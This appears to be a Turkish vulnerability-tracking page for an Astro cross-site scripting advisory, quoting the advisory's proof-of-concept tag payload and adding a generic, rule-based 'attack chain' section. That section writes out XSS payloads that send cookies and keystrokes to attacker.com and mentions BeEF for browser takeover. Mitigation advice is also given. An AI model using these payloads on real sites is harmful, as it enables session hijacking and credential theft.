CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-126361

CWE-79 · CWE-184

DÜŞÜK CVSS 5 ⚡ EPSS 0.3% GitHub

## Summary When a dynamic tag (`const Tag = ...; <Tag />`) resolves to a string, Astro renders it as a raw HTML element name. The name was filtered to remove characters that could inject attributes, but the filter did not handle `/`. Because HTML parsers treat `/` inside a tag as an attribute separator, a tag name such as `img/src/onerror=alert(1)` was rendered as an `<img>` element with an `onerror` attribute. The JSX renderer used for MDX did not filter string tag names at all. For example: ```astro --- const Tag = Astro.url.searchParams.get('as') ?? 'div'; --- <Tag>hello</Tag> ``` rendered `?as=img/src/onerror=alert(1)` as live HTML. ## Impact Reflected or stored cross-site scripting, but only in applications that use untrusted input (such as a request parameter or an uncontrolled CMS field) as all or part of an element name. Astro itself never derives element names from request data. Applications that let content choose an element should map that input to a fixed set of know

Yayınlanma 13.11.2026
ISO Tarih 2026-11-13
Kaynak GitHub
EPSS — Exploit Olasılık Skoru
0.3%
30 günlük olasılık
Tüm CVElerin 25. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-126361
CVSS 5/10 · DÜŞÜK · 13.11.2026
CWE: CWE-79, CWE-184
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 AÇIK NEDİR?
Cross-Site Scripting (XSS)
Açıklama: ## Summary

When a dynamic tag (const Tag = ...; <Tag />) resolves to a string, Astro renders it as a raw HTML element name. The name was filtered to remove characters that could inject attributes, but the filter did not handle /. Because HTML parsers treat / inside a tag as an attribute separator, a tag name such as img/src/onerror=alert(1) was rendered as an <img> element with an `o…
Etkilenen: astro

⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Stored XSS: Uygulama kullanıcı girdisini DB'ye kaydedip diğer kullanıcılara gösteriyorsa, yorum/profil alanlarına payload inject edilir.
2. Reflected XSS: URL parametresine <script>alert(1)</script> eklenir, link kurban ile paylaşılır.
3. Cookie çalma: <script>new Image().src='https://attacker.com/c?c='+document.cookie</script>
4. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
5. BeEF framework ile tam tarayıcı kontrolü.

🔧 Araçlar: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 GERÇEK DÜNYA ETKİSİ

🛡️ ÇÖZÜM VE MİTİGASYON
→ astro için üretici güvenlik güncellemesini uygula.
→ CSP header ekle, tüm kullanıcı girdilerini HTML encode et.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.

⚠️ ACİLİYET
📌 Düşük öncelik — rutin güncelleme yeterli.

────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]

[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]

Hedef Keşif Sorguları
CVSS Skoru
5 / 10 · CVSS DÜŞÜK
Zayıflık Türleri (CWE)
CWE-79 CWE-184
Etkilenen Ürünler (1)
astro
Referanslar (4)
İlgili CVE'ler
10.0
CVE-2026-129444
A vulnerability was identified in D-Link DSL-6740C 20131126. This affects an unknown function of the file /etc
10.0
CVE-2026-125086
A vulnerability has been found in D-Link M60 1.12.B01. Impacted is the function system of the file /etc/emDaem
10.0
CVE-2026-121609
A vulnerability was identified in Qihoo 360 Whole Home Router M5 4.0.17.1566. This issue affects the function
10.0
CVE-2026-106102
Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.22.0, the SSR
10.0
CVE-2026-96587
The Viidure Android application embeds permanent, plaintext cloud storage credentials within its compiled code